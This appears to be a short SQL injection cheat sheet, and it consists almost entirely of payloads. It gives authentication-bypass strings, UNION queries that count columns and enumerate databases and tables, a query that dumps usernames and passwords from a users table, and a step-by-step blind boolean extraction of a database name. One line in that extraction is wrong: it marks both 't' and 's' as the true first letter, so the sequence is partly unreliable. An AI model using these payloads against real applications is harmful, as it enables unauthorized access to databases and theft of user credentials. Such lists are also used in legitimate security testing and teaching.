Skip to content

SQL Injection

QueryPurpose
admin' or '1'='1Bypass basic authentication
admin')-- -Bypass basic authentication with comments
QueryPurpose
wok' order by 1-- -Detect the number of columns using order by
wok' UNION select 1,2,3-- -Detect the number of columns using Union injection
wok' union select schema_name,2,3,4,5,6 from information_schema.schemata-- -Get all databases
wok' union select table_name,2,3,4,5,6 from information_schema.tables where table_schema=database();-- -Get all tables
wok' union select username,password,3,4,5,6 from users;-- -Get username and password

wok' and (length(database())) = 12— : false

wok' and (length(database())) > 12 — : true

wok' and (length(database())) = 13 — : true

wok' and (substr(database(),1,1))=’t’ — : true

wok' and (substr(database(),1,1))=’s’ — : true

wok' and (substr(database(),1,2))=’sa’ — : false

wok' and (substr(database(),1,2))=’sq’ — : true

wok' and (substr(database(),1,13))=’sql_injection’ — : true